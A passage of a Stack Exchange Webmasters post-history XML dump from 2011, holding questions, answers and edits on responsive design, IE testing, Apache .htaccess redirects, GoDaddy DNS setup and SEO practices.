  <row Id="43551" PostHistoryTypeId="2" PostId="18002" RevisionGUID="250fd924-6e21-4ee0-b703-e7ce2016c9b3" CreationDate="2011-08-10T08:38:01.463" UserId="4306" Text="The trend is moving towards 'responsive web design' rather than liquid layouts measured in percentages.&#xD;&#xA;&#xD;&#xA;CSS3 introduced [media queries][1], which allow you to serve different styles depending on device resolution, without needing to resort to Javascript, so this makes it far more flexible when designing for multiple devices.&#xD;&#xA;&#xD;&#xA;Ethan Marcotte is the person who popularised the term responsive web design, and his article on A List Apart is a good place to get started:&#xD;&#xA;&#xD;&#xA;* http://www.alistapart.com/articles/responsive-web-design/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/css3-mediaqueries/" />
  <row Id="43552" PostHistoryTypeId="5" PostId="18002" RevisionGUID="0c989006-ebf0-405e-b9ba-0a418abd7e79" CreationDate="2011-08-10T08:44:40.630" UserId="4306" Comment="improved answer" Text="The trend is moving towards 'responsive web design' rather than liquid layouts measured in percentages.&#xD;&#xA;&#xD;&#xA;CSS3 introduced [media queries][1], which allow you to serve different styles depending on device resolution, without needing to resort to Javascript, so this makes it far more flexible when designing for multiple devices.&#xD;&#xA;&#xD;&#xA;[Ethan Marcotte][2] is the person who popularised the term responsive web design - in fact, he basically [wrote the book on it][3]. His article on A List Apart is a good place to get started:&#xD;&#xA;&#xD;&#xA;* http://www.alistapart.com/articles/responsive-web-design/&#xD;&#xA;&#xD;&#xA;For some inspiration on what can be achieved with media queries and responsive web design, check out http://mediaqueri.es/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/css3-mediaqueries/&#xD;&#xA;  [2]: http://unstoppablerobotninja.com/&#xD;&#xA;  [3]: http://www.abookapart.com/products/responsive-web-design" />
  <row Id="43553" PostHistoryTypeId="2" PostId="18003" RevisionGUID="4b94e1a8-d24d-4f0e-8863-a3686700e339" CreationDate="2011-08-10T08:56:07.323" UserId="9496" Text="There is no substitute to native, hard boxes running the platforms you want. No IE-testing suite is completely accurate, and several will raise errors which don't appear in production (wasting your time on false positives). Virtual machines aren't as reliable as people think - I've seen several VM-specific bugs whilst trying to run IE6 (I think IE6's rendering engine relies on the coordination of certain threads, which VMs can't quite manage properly).&#xD;&#xA;&#xD;&#xA;If IE6/7 functionality matters to your organization, I think you can easily make a case for spending a marginal amount on two cheapo WinXP boxes. IETester is slow as molasses and crashes at the drop of a hat, and I'm not con" />
  <row Id="43554" PostHistoryTypeId="5" PostId="17991" RevisionGUID="cf594601-a40c-4d15-9d0c-724a9db0f759" CreationDate="2011-08-10T09:08:15.153" UserId="7198" Comment="Added images inline within the question" Text="When I try to share links from [this URL](http://atletiskutvikling.no/en-knallgod-ovelse-for-hoftemobilitet-hoftestabilitet-og-generell-funksjonalitet/) on Facebook, I can only choose one image as the preview:&#xD;&#xA;&#xD;&#xA;![No thumbnail](http://skriblerier.net/test.png)&#xD;&#xA;&#xD;&#xA;But when I try to share links from [this URL,](http://eiriksandvik.no/en-oppdatering-rundt-min-trening-og-mine-malsetninger/) I can choose between five thumbnail previews:&#xD;&#xA;&#xD;&#xA;![Thumbnails](http://skriblerier.net/test2.png)&#xD;&#xA;&#xD;&#xA;Any ideas what the difference is?" />
  <row Id="43555" PostHistoryTypeId="2" PostId="18004" RevisionGUID="ee5b6b21-e502-4a34-aab5-49de10cb0023" CreationDate="2011-08-10T09:11:07.680" UserId="1643" Text="Facebook doesn't seem to provide details on how it chooses those thumbnails. One difference between those two sites is that the one where you only get one image has a sidebar on the left, which means that the posts and the pictures are further down the page. It may be that the script that looks at the page doesn't find the picture near the top of the .html file and so gives up.&#xD;&#xA;&#xD;&#xA;You could try a different Wordpress template without the sidebar on the left. Alternatively it is possible to have the sidebar further down the file than the posts, but still display in the same position, but that would mean editing the theme by hand." />
  <row Id="43556" PostHistoryTypeId="5" PostId="14607" RevisionGUID="dba62e3b-b05a-46d9-8cd9-70708a0665ee" CreationDate="2011-08-10T09:14:01.013" UserId="4306" Comment="Updated to include subdomain redirect." Text="Here's one possible scenario.&#xD;&#xA;&#xD;&#xA;* Google Webmaster Tools tracks searches and clicks TO your domain&#xD;&#xA;* Google Analytics records page views and keywords ON your domain&#xD;&#xA;* So between leaving Google and reaching your pages with the GA tag, the keywords are getting stripped&#xD;&#xA;&#xD;&#xA;Things to check:&#xD;&#xA;&#xD;&#xA;* Analytics is correctly configured on **every** page - make sure the tracking tag in use on the homepage is that same as the internal pages&#xD;&#xA;* You might have Javascript redirects that are stripping out the referrer and keyword information - browse your site with JS disabled and see if everything behaves properly&#xD;&#xA;* You might have meta-refreshes that are redirecting visitors and losing the referrer info. [Disable meta-refreshes][1] and try browsing the site.&#xD;&#xA;* You might have some server-side redirects that strip the referrer information - use a tool like redbot.org to see what headers are being returned when you request your site&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:** here's my generic simple .htaccess. I've modified it for your case to redirect to Home.html. Let me know if it works.&#xD;&#xA;&#xD;&#xA;**Update 2:** I've added in the redirect to www. based on Paul Irish's [HTML5 Boilerplate][2], which has the [most comprehensive .htaccess][3] I know:&#xD;&#xA;&#xD;&#xA;    # ----------------------------------------------------------------------&#xD;&#xA;    # Start rewrite engine&#xD;&#xA;    # ----------------------------------------------------------------------&#xD;&#xA;    &#xD;&#xA;    # Turning on the rewrite engine is necessary for the following rules and features.&#xD;&#xA;    &#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;      RewriteEngine On&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # ----------------------------------------------------------------------&#xD;&#xA;    # Suppress or force the &quot;www.&quot; at the beginning of URLs&#xD;&#xA;    # ----------------------------------------------------------------------&#xD;&#xA;    &#xD;&#xA;    # The same content should never be available under two different URLs - especially not with and&#xD;&#xA;    # without &quot;www.&quot; at the beginning, since this can cause SEO problems (duplicate content).&#xD;&#xA;    # That's why you should choose one of the alternatives and redirect the other one.&#xD;&#xA;    &#xD;&#xA;    # By default option 1 (no &quot;www.&quot;) is activated. Remember: Shorter URLs are sexier.&#xD;&#xA;    # no-www.org/faq.php?q=class_b&#xD;&#xA;    &#xD;&#xA;    # If you rather want to use option 2, just comment out all option 1 lines&#xD;&#xA;    # and uncomment option 2.&#xD;&#xA;    # IMPORTANT: NEVER USE BOTH RULES AT THE SAME TIME!&#xD;&#xA;    &#xD;&#xA;    # ----------------------------------------------------------------------&#xD;&#xA;    &#xD;&#xA;    # Option 1:&#xD;&#xA;    # Rewrite &quot;www.domain.com -&gt; domain.com&quot; &#xD;&#xA;    &#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;      RewriteCond %{HTTPS} !=on&#xD;&#xA;      RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xD;&#xA;      RewriteRule ^(.*)$ http://%1/$1 [R=301,L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    # ----------------------------------------------------------------------&#xD;&#xA;    &#xD;&#xA;    # Option 2:&#xD;&#xA;    # To rewrite &quot;domain.com -&gt; www.domain.com&quot; uncomment the following lines.&#xD;&#xA;    # Be aware that the following rule might not be a good idea if you&#xD;&#xA;    # use &quot;real&quot; subdomains for certain parts of your website.&#xD;&#xA;    &#xD;&#xA;    # &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    #   RewriteCond %{HTTPS} !=on&#xD;&#xA;    #   RewriteCond %{HTTP_HOST} !^www\..+$ [NC]&#xD;&#xA;    #   RewriteCond %{HTTP_HOST} (.+)$ [NC]&#xD;&#xA;    #   RewriteRule ^(.*)$ http://www.%1/$1 [R=301,L]&#xD;&#xA;    # &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    # Installation directory&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    # Protect hidden files from being viewed&#xD;&#xA;    &lt;Files .*&gt;&#xD;&#xA;    	Order Deny,Allow&#xD;&#xA;    	Deny From All&#xD;&#xA;    &lt;/Files&gt;&#xD;&#xA;        &#xD;&#xA;    # Allow any files or directories that exist to be displayed directly&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    # Rewrite all other URLs to Home.html&#xD;&#xA;    RewriteRule .* Home.html [PT]&#xD;&#xA;&#xD;&#xA;Note: you'll have to rename or delete the existing index.html for this to work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jkwebtalks.com/2010/02/disable-automatic-meta-refreshredirect.html&#xD;&#xA;  [2]: http://html5boilerplate.com/&#xD;&#xA;  [3]: https://github.com/paulirish/html5-boilerplate/blob/master/.htaccess" />
  <row Id="43563" PostHistoryTypeId="6" PostId="17984" RevisionGUID="bde8880b-7e77-4a60-ae58-2e093359be39" CreationDate="2011-08-10T09:26:47.873" UserId="1643" Comment="tag" Text="&lt;web-hosting&gt;&lt;web-development&gt;&lt;website-design&gt;&lt;looking-for-hosting&gt;" />
  <row Id="43564" PostHistoryTypeId="2" PostId="18007" RevisionGUID="5d2d8052-b279-473f-9b25-30531eb68485" CreationDate="2011-08-10T09:28:24.063" UserId="1643" Text="It appears you can. [Here's a Google search][1] which returns some companies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.co.uk/search?sourceid=chrome&amp;ie=UTF-8&amp;q=java%20hosting%20shared%20hosting&amp;qscrl=1" />
  <row Id="43565" PostHistoryTypeId="17" PostId="18008" RevisionGUID="6062aed9-5c64-4423-a11a-f433ee4162d3" CreationDate="2011-08-10T09:51:08.953" UserId="-1" Comment="from http://serverfault.com/questions/299452/redirecting-example-com-to-www-example-com-in-go-daddy" Text="" />
  <row Id="43566" PostHistoryTypeId="17" PostId="18009" RevisionGUID="f1dea33e-6185-432f-b01e-8c5559927e61" CreationDate="2011-08-10T09:51:08.953" UserId="-1" Comment="from http://serverfault.com/questions/299452/redirecting-example-com-to-www-example-com-in-go-daddy" Text="" />
  <row Id="43567" PostHistoryTypeId="17" PostId="18010" RevisionGUID="0b1906ae-a8ba-440d-b24e-135a14a50636" CreationDate="2011-08-10T09:51:08.953" UserId="-1" Comment="from http://serverfault.com/questions/299452/redirecting-example-com-to-www-example-com-in-go-daddy" Text="" />
  <row Id="43568" PostHistoryTypeId="2" PostId="18009" RevisionGUID="62298867-c092-4de7-bb65-b053c1322d7b" CreationDate="2011-08-10T01:02:26.013" UserDisplayName="cyberx86" Text="See [this StackOverflow Question][1] for details on setting up the Google side of things (essentially, add a new URL and make the necessary DNS changes). You will need a CNAME (type of DNS record) for the www subdomain, but I believe GoDaddy enables those by default.&#xD;&#xA;&#xD;&#xA;If you need to change your DNS settings on GoDaddy, you can access the DNS Manager from:&#xD;&#xA;&#xD;&#xA; 1. Login to GoDaddy&#xD;&#xA; 2. Hover over Domains, and click Domain Management&#xD;&#xA; 3. Click the domain you are want to modify&#xD;&#xA; 4. Scroll down to 'DNS Manager', click Launch&#xD;&#xA;&#xD;&#xA;Details about the different DNS records and using them with GoDaddy can be found in [GoDaddy's Help][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/817809/how-to-use-google-app-engine-with-my-own-domain-not-subdomain&#xD;&#xA;  [2]: http://help.godaddy.com/article/680#cnames" />
  <row Id="43569" PostHistoryTypeId="2" PostId="18010" RevisionGUID="db622603-4742-4a15-9c68-8ea76fe8285f" CreationDate="2011-08-10T04:27:17.067" UserDisplayName="kobaltz" Text="In the records if you set * to the ip address then it will forward all subdomains to that IP.&#xD;&#xA;&#xD;&#xA;So you should see something like&#xD;&#xA;&#xD;&#xA;*--&gt; x.x.x.x&#xD;&#xA;&#xD;&#xA;@--&gt; x.x.x.x&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;www --&gt;  @&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You will also want to make sure that you set up your apache (if using virtual hosts to accept the blank subdomain)" />
  <row Id="43570" PostHistoryTypeId="2" PostId="18008" RevisionGUID="29fdb5cc-86da-4981-8f0d-8c4a592dee23" CreationDate="2011-08-10T00:00:57.110" UserDisplayName="wittythotha" Text="If I go to `http://www.example.com/`, it's perfectly fine. If I go to `http://example.com/`, then it redirects me to Go Daddy's site.&#xD;&#xA;&#xD;&#xA;I'm using Google App Engine to host my site, as it's free and pretty cool, and I've not bought the hosting option from Go Daddy.&#xD;&#xA;&#xD;&#xA;How exactly do I change it to have both the **example.com** and **www.example.com** versions go where they're supposed to? " />
  <row Id="43571" PostHistoryTypeId="1" PostId="18008" RevisionGUID="29fdb5cc-86da-4981-8f0d-8c4a592dee23" CreationDate="2011-08-10T00:00:57.110" UserDisplayName="wittythotha" Text="Redirecting example.com to www.example.com in Go Daddy" />
  <row Id="43572" PostHistoryTypeId="3" PostId="18008" RevisionGUID="29fdb5cc-86da-4981-8f0d-8c4a592dee23" CreationDate="2011-08-10T00:00:57.110" UserDisplayName="wittythotha" Text="&lt;web-hosting&gt;&lt;godaddy&gt;&lt;google-app-engine&gt;" />
  <row Id="43573" PostHistoryTypeId="2" PostId="18011" RevisionGUID="99356910-f0c2-4017-9b8d-8a7cbd8ec014" CreationDate="2011-08-10T10:26:03.577" UserId="9498" Text="I have a website **http:**//www.domain_1.com/ hosted in a shared webserver. &#xD;&#xA;I have used SSL for another website **https**://www.domain_2.com/ on the same server. &#xD;&#xA;Due to some technical limitations (single IP), if you try **https**://www.domain_**1**.com, browser will show the same domain_2 website. But this is not a concern for me.&#xD;&#xA;&#xD;&#xA;Question: Will this scnario impact SEO of domain_1 (non-https) site?" />
  <row Id="43574" PostHistoryTypeId="1" PostId="18011" RevisionGUID="99356910-f0c2-4017-9b8d-8a7cbd8ec014" CreationDate="2011-08-10T10:26:03.577" UserId="9498" Text="http and https impacts on SEO" />
  <row Id="43575" PostHistoryTypeId="3" PostId="18011" RevisionGUID="99356910-f0c2-4017-9b8d-8a7cbd8ec014" CreationDate="2011-08-10T10:26:03.577" UserId="9498" Text="&lt;seo&gt;" />
  <row Id="43576" PostHistoryTypeId="2" PostId="18012" RevisionGUID="0e119f71-e858-41f5-a79a-425141598146" CreationDate="2011-08-10T10:33:55.267" UserId="9500" Text="This question is about keywords in HTML.&#xD;&#xA;&#xD;&#xA;Which of the following cases is more favorable from an SEO point of view?&#xD;&#xA;&#xD;&#xA;    Arizona State University, Education&#xD;&#xA;&#xD;&#xA;vs.&#xD;&#xA;&#xD;&#xA;    Arizona, State, University, Education&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="43577" PostHistoryTypeId="1" PostId="18012" RevisionGUID="0e119f71-e858-41f5-a79a-425141598146" CreationDate="2011-08-10T10:33:55.267" UserId="9500" Text="To use multiple word keyword, or multiple keywords?" />
  <row Id="43578" PostHistoryTypeId="3" PostId="18012" RevisionGUID="0e119f71-e858-41f5-a79a-425141598146" CreationDate="2011-08-10T10:33:55.267" UserId="9500" Text="&lt;seo&gt;&lt;html&gt;&lt;meta-keywords&gt;" />
  <row Id="43580" PostHistoryTypeId="2" PostId="18013" RevisionGUID="db21d977-3436-4b98-81f0-950a2a6b9205" CreationDate="2011-08-10T10:43:34.783" UserId="1643" Text="Major search engines do not use the meta keywords tag, for example [Google][1]. I'm presuming you're talking about keywords in the meta tag, because you used that tag on the question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html" />
  <row Id="43581" PostHistoryTypeId="2" PostId="18014" RevisionGUID="9d724895-1c47-4851-ae2a-d253968477d6" CreationDate="2011-08-10T10:50:33.503" UserId="8354" Text="The common mistake that a lot of people do is trying to match whole URL including query string. The reality is: **when matching URL, the pattern get applied to path part of it and query string has to be matched separately**.&#xD;&#xA;&#xD;&#xA;In other words -- `RewriteRule` cannot be used to match query string directly -- only with help of `RewriteCond`.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Considering the aforementioned the rule to redirect `detail.php?artikel_id=123` to `product.php?id_product=123` should be:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{QUERY_STRING} (^|&amp;)?artikel_id=(\d+)(&amp;|$)&#xD;&#xA;    RewriteRule ^detail\.php$ /prestashop/product.php?id_product=%2 [R=301,L]&#xD;&#xA;&#xD;&#xA;This will do 301 Permanent Redirect -- it will tell search engine and ordinary user that from now on this new URL should be used instead of old one (plus helping with duplicate content issue from search engine point of view when the same content is accessible by 2 different URLs: old one and new one).&#xD;&#xA;&#xD;&#xA;If you do not want 301 redirect for some reason, then just remove `R=301,` part.&#xD;&#xA;&#xD;&#xA;Considering that this .htaccess is located in `/prestashop/` folder, the rule may need some slight tweaking (like providing full URL in RewriteRule target, e.g. `RewriteRule ^detail\.php$ http://%{HTTP_HOST}/prestashop/product.php?id_product=%2 [R=301,L]`)" />
  <row Id="43586" PostHistoryTypeId="2" PostId="18016" RevisionGUID="d722e9d6-c41a-4a51-a236-59c6e502e570" CreationDate="2011-08-10T11:38:40.037" UserId="1253" Text="As a general rule, search engines do not crawl or index pages served over HTTPS. Having said that, if you search Google you will see some pages served over HTTPS in Google's index. Do prevent this from causing you issues, use canonical URLs for your second domain's pages. That way when they are crawled the search engines using HTTPS and domain_1 will know that domain_2 is the primary domain for that content." />
  <row Id="43587" PostHistoryTypeId="5" PostId="18016" RevisionGUID="1c2e95cc-e839-476d-8a58-1509d36df717" CreationDate="2011-08-10T11:42:33.690" UserId="1643" Comment="typo" Text="As a general rule, search engines do not crawl or index pages served over HTTPS. Having said that, if you search Google you will see some pages served over HTTPS in Google's index. To prevent this from causing you issues, use canonical URLs for your second domain's pages. That way when they are crawled the search engines using HTTPS and domain_1 will know that domain_2 is the primary domain for that content." />
  <row Id="43588" PostHistoryTypeId="5" PostId="17995" RevisionGUID="6873caa0-d262-4e31-bf9e-d2a0a7bb9dfa" CreationDate="2011-08-10T11:49:54.500" UserId="8812" Comment="Capital letters and code format" Text="I recently upgraded a shopsystem to prestashop and imported the previous products (~1200), and I managed to keep the old `category_id` and `product_id`. I'm trying to set up those 2 rules to redirect all my old incoming links to the new page, however for some reason they always end up on the 404 page instead. &#xD;&#xA;So my old link was &#xD;&#xA;&#xD;&#xA;    detail.php?artikel_id=123&#xD;&#xA;&#xD;&#xA;and now this product became &#xD;&#xA;&#xD;&#xA;    product.php?id_product=123&#xD;&#xA;&#xD;&#xA;here is my .htaccess:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    # URL rewriting module activation&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    # URL rewriting rules&#xD;&#xA;    RewriteRule ^api/?(.*)$ /prestashop/webservice/dispatcher.php?url=$1 [QSA,L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^/prestashop/index\.php?artikeltyp=([0-9]+)$ /prestashop/category.php?id_category=$1 [L]&#xD;&#xA;    RewriteRule ^/index\.php?artikeltyp=([0-9]+)$ /prestashop/category.php?id_category=$1 [L]&#xD;&#xA;    RewriteRule ^/prestashop/detail\.php?artikel_id=([0-9]+)$ /prestashop/product.php?id_product=$1 [L]&#xD;&#xA;    RewriteRule ^/detail\.php?artikel_id=([0-9]+)$ /prestashop/product.php?id_product=$1 [L]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    # Catch 404 errors&#xD;&#xA;    ErrorDocument 404 /prestashop/404.php&#xD;&#xA;&#xD;&#xA;Note that this is my test installation at my laptop, and the new shop is currently set up under `&quot;http://localhost/prestashop/&quot;`. I tried it with and without the `/prestashop/` in the rules, no effect. My .htaccess is in `http://localhost/prestashop/.htaccess`.&#xD;&#xA;&#xD;&#xA;Any idea of what I do wrong here? Did I escape it correct? How can I find out where it actually tries to redirect to me before i get the 404?&#xD;&#xA;" />
  <row Id="43589" PostHistoryTypeId="4" PostId="17995" RevisionGUID="6873caa0-d262-4e31-bf9e-d2a0a7bb9dfa" CreationDate="2011-08-10T11:49:54.500" UserId="8812" Comment="Capital letters and code format" Text="Having trouble redirecting old product sites and categories to new pages" />
  <row Id="43590" PostHistoryTypeId="24" PostId="17995" RevisionGUID="6873caa0-d262-4e31-bf9e-d2a0a7bb9dfa" CreationDate="2011-08-10T11:49:54.500" Comment="Proposed by 8812 approved by 1253 edit id of 482" />
  <row Id="43591" PostHistoryTypeId="5" PostId="17996" RevisionGUID="69ba5bfd-bf44-4daf-b412-17e28e630ab4" CreationDate="2011-08-10T11:49:57.573" UserId="8812" Comment="Correcting spelling" Text="My 404 .htaccess works very well when I put a wrong extension at it in place of .php.&#xD;&#xA;&#xD;&#xA;Unfortunately the 404 does not work when I put a wrong name with .php.&#xD;&#xA;&#xD;&#xA;This is my .htaccess code:&#xD;&#xA;&#xD;&#xA;    &lt;Files ~ &quot;^.(htaccess|htpasswd)$&quot;&gt;&#xD;&#xA;    deny from all&#xD;&#xA;    &lt;/Files&gt;&#xD;&#xA;    Options -Indexes&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\..* [NC]&#xD;&#xA;    RewriteRule ^(.*) http://www.%{HTTP_HOST}/$1 [R=301]&#xD;&#xA;    &#xD;&#xA;    ErrorDocument 404 /404/notfound.html&#xD;&#xA;    order deny,allow&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43592" PostHistoryTypeId="24" PostId="17996" RevisionGUID="69ba5bfd-bf44-4daf-b412-17e28e630ab4" CreationDate="2011-08-10T11:49:57.573" Comment="Proposed by 8812 approved by 1253 edit id of 481" />
  <row Id="43593" PostHistoryTypeId="4" PostId="18011" RevisionGUID="01c809a8-fc3a-45b0-a582-d1668e8e5f50" CreationDate="2011-08-10T11:58:26.940" UserId="1253" Comment="modified tags, minor text edits" Text="HTTP and HTTPS impacts on SEO" />
  <row Id="43594" PostHistoryTypeId="6" PostId="18011" RevisionGUID="01c809a8-fc3a-45b0-a582-d1668e8e5f50" CreationDate="2011-08-10T11:58:26.940" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;ssl&gt;" />
  <row Id="43595" PostHistoryTypeId="17" PostId="18017" RevisionGUID="fe44a254-c8c8-4dd5-a31a-28d8742e4386" CreationDate="2011-08-10T12:28:27.693" UserId="-1" Comment="from http://stackoverflow.com/questions/7008090/stack-overflow-like-seo-how-is-it-done" Text="" />
  <row Id="43596" PostHistoryTypeId="17" PostId="18018" RevisionGUID="f8105a6e-f0c6-469f-a3ed-1fc465c564e6" CreationDate="2011-08-10T12:28:27.693" UserId="-1" Comment="from http://stackoverflow.com/questions/7008090/stack-overflow-like-seo-how-is-it-done" Text="" />
  <row Id="43597" PostHistoryTypeId="17" PostId="18019" RevisionGUID="97f12ee9-2b60-4d23-9112-f4e973c5777d" CreationDate="2011-08-10T12:28:27.693" UserId="-1" Comment="from http://stackoverflow.com/questions/7008090/stack-overflow-like-seo-how-is-it-done" Text="" />
  <row Id="43598" PostHistoryTypeId="17" PostId="18020" RevisionGUID="711b9abc-8e39-43af-b7af-69b2d7b7cfb1" CreationDate="2011-08-10T12:28:27.693" UserId="-1" Comment="from http://stackoverflow.com/questions/7008090/stack-overflow-like-seo-how-is-it-done" Text="" />
  <row Id="43599" PostHistoryTypeId="2" PostId="18018" RevisionGUID="c7ba5b35-d8ae-458f-9618-da6f3737140a" CreationDate="2011-08-10T08:51:52.477" UserDisplayName="zenwalker" Text="Although your website might have alot of aspx pages or web pages in general, as you said search engines today do few things to keep track of a web site. &#xD;&#xA;&#xD;&#xA;First the user statistics learning which google/bing does. And then meta tags learning. (I know these 2 only, lemme know if you know more). So do give common tags for all your webpages plus few extra ones to different ones.&#xD;&#xA;&#xD;&#xA;I also think having googleadservices linked to your web sites, it might help a bit." />
  <row Id="43600" PostHistoryTypeId="2" PostId="18019" RevisionGUID="a39fd90f-7aee-4caa-a5bc-8f419d55d413" CreationDate="2011-08-10T09:03:04.267" UserDisplayName="Mario" Text="You're overcomplicating it.&#xD;&#xA;&#xD;&#xA;Just add indexing pages and static pages to your site map. So, for a forum, instead of submitting each thread, just submit the first page with the most recent threads and set it's priority and frequency to high (i.e. make it scanned more often), then (if you want) add older pages with lower priority (the older the less checks).&#xD;&#xA;Just think about it that way: The more entries in your sitemap, the more entries to pick for the engine, the lower the frequency these are checked. Instead set priorities (archived indexes/threads/questions don't have to be updated that often leaving spider visits for the new content).&#xD;&#xA;&#xD;&#xA;Meta tags are rather outdated these days as it's too easy to use meta tags to cheat to get people opening empty or the wrong pages (which is sometimes also part of SEO, but nothing you should try to do as it WILL damage your page reputation in popular search engines). Skip the keywords meta field and add a generic page description describing your page (as most search engines will use it to describe the search result of your page if there aren't any direct text matches in the page content)." />
  <row Id="43601" PostHistoryTypeId="2" PostId="18020" RevisionGUID="a39a15b7-b272-4fad-b409-0c717d5e2b55" CreationDate="2011-08-10T09:09:45.000" UserId="9503" UserDisplayName="Tao" Text="I think you're misunderstanding, to a certain extent, why Google indexes a site like StackOverflow so aggressively: It's not due so much to things the site is doing, but rather it's in Google's interest to spend time/money/resources as it's such a popular site!&#xD;&#xA;&#xD;&#xA;There are things you can do to improve the searchability of your site, but google will only &quot;use&quot; those things, and expend precious crawling resources, if your site is deemed &quot;important&quot; based on the number of links to it, freshness of content, etc.&#xD;&#xA;&#xD;&#xA;That said, those things that you can do include:&#xD;&#xA;&#xD;&#xA;* Having other (reliable/reputable) sites link to you, obviously - that's probably the most important thing that determines how much effort the google crawler will spend on you&#xD;&#xA;* Having a lot of content, and ensuring that Google always knows not to index duplicate content (use Google Webmaster Tools to tell it about duplicate versions of the same content, otherwise you get penalized)&#xD;&#xA;* Having &quot;homepages&quot; that change / illustrate new content as it comes up, and making sure that those are referenced in your site map: this is almost certainly how new questions appear so quickly in google results for stackoveflow - google knows where to look for them, and *has an incentive to do so due to the popularity of the site*.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43602" PostHistoryTypeId="2" PostId="18017" RevisionGUID="09385b3f-aca5-4cc8-8fdc-addb9168a520" CreationDate="2011-08-10T08:47:31.500" UserId="9504" UserDisplayName="LocustHorde" Text="this is a question purely for learning purpose.&#xD;&#xA;&#xD;&#xA;I have noticed that this site has an incredible power of appearing in search engines.  &#xD;&#xA;Questions as new as 2 days old appear on search results.&#xD;&#xA;&#xD;&#xA;Can someone please advise me or point me towards resources on how to make a website this versatile towards SEO? &#xD;&#xA;&#xD;&#xA;I did a brief search and came up with these: &#xD;&#xA;&#xD;&#xA;1) **Submit xml site map to search engines** - this is really going to be a log, as there are tonnes of questions generated every day. If this is infact the way to go, how often should I submit the sitemap and where?&#xD;&#xA;&#xD;&#xA;2) **have each page contain it's own unique title and meta tags (desc, keywords)** - How will I know what goes into each page to make key words out of it?&#xD;&#xA;&#xD;&#xA;The main thing that escapes my brain is, how would each question (the title is different, so as far as the search engine is concerned, it's a new page) - how would I tell the engines that I have a new page?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="43603" PostHistoryTypeId="1" PostId="18017" RevisionGUID="09385b3f-aca5-4cc8-8fdc-addb9168a520" CreationDate="2011-08-10T08:47:31.500" UserId="9504" UserDisplayName="LocustHorde" Text="Stack overflow like SEO - How is it done?" />
  <row Id="43604" PostHistoryTypeId="3" PostId="18017" RevisionGUID="09385b3f-aca5-4cc8-8fdc-addb9168a520" CreationDate="2011-08-10T08:47:31.500" UserId="9504" UserDisplayName="LocustHorde" Text="&lt;c#&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="43605" PostHistoryTypeId="25" PostId="18017" RevisionGUID="83b19160-2cda-4412-9138-a3be2f270252" CreationDate="2011-08-10T12:34:14.463" Comment="http://twitter.com/#!/StackWebmasters/status/101270128087408640" />
  <row Id="43606" PostHistoryTypeId="2" PostId="18021" RevisionGUID="209fa23e-956e-4922-87dc-df6ba993470c" CreationDate="2011-08-10T12:57:03.270" UserId="5013" Text="I've heard a lot about using Press Releases for SEO? Is doing this worthwhile? What exactly do you do? Where do you go? Sorry, press releases are all new to me. " />
  <row Id="43607" PostHistoryTypeId="1" PostId="18021" RevisionGUID="209fa23e-956e-4922-87dc-df6ba993470c" CreationDate="2011-08-10T12:57:03.270" UserId="5013" Text="Are press releases worthwhile?" />
  <row Id="43608" PostHistoryTypeId="3" PostId="18021" RevisionGUID="209fa23e-956e-4922-87dc-df6ba993470c" CreationDate="2011-08-10T12:57:03.270" UserId="5013" Text="&lt;seo&gt;&lt;press-releases&gt;" />
  <row Id="43609" PostHistoryTypeId="5" PostId="18017" RevisionGUID="8ac3225d-f8d2-4429-bd35-b37fb566f86a" CreationDate="2011-08-10T13:01:13.803" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [StackOverflow and Google search](http://webmasters.stackexchange.com/questions/7299/stackoverflow-and-google-search)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;this is a question purely for learning purpose.&#xD;&#xA;&#xD;&#xA;I have noticed that this site has an incredible power of appearing in search engines.  &#xD;&#xA;Questions as new as 2 days old appear on search results.&#xD;&#xA;&#xD;&#xA;Can someone please advise me or point me towards resources on how to make a website this versatile towards SEO? &#xD;&#xA;&#xD;&#xA;I did a brief search and came up with these: &#xD;&#xA;&#xD;&#xA;1) **Submit xml site map to search engines** - this is really going to be a log, as there are tonnes of questions generated every day. If this is infact the way to go, how often should I submit the sitemap and where?&#xD;&#xA;&#xD;&#xA;2) **have each page contain it's own unique title and meta tags (desc, 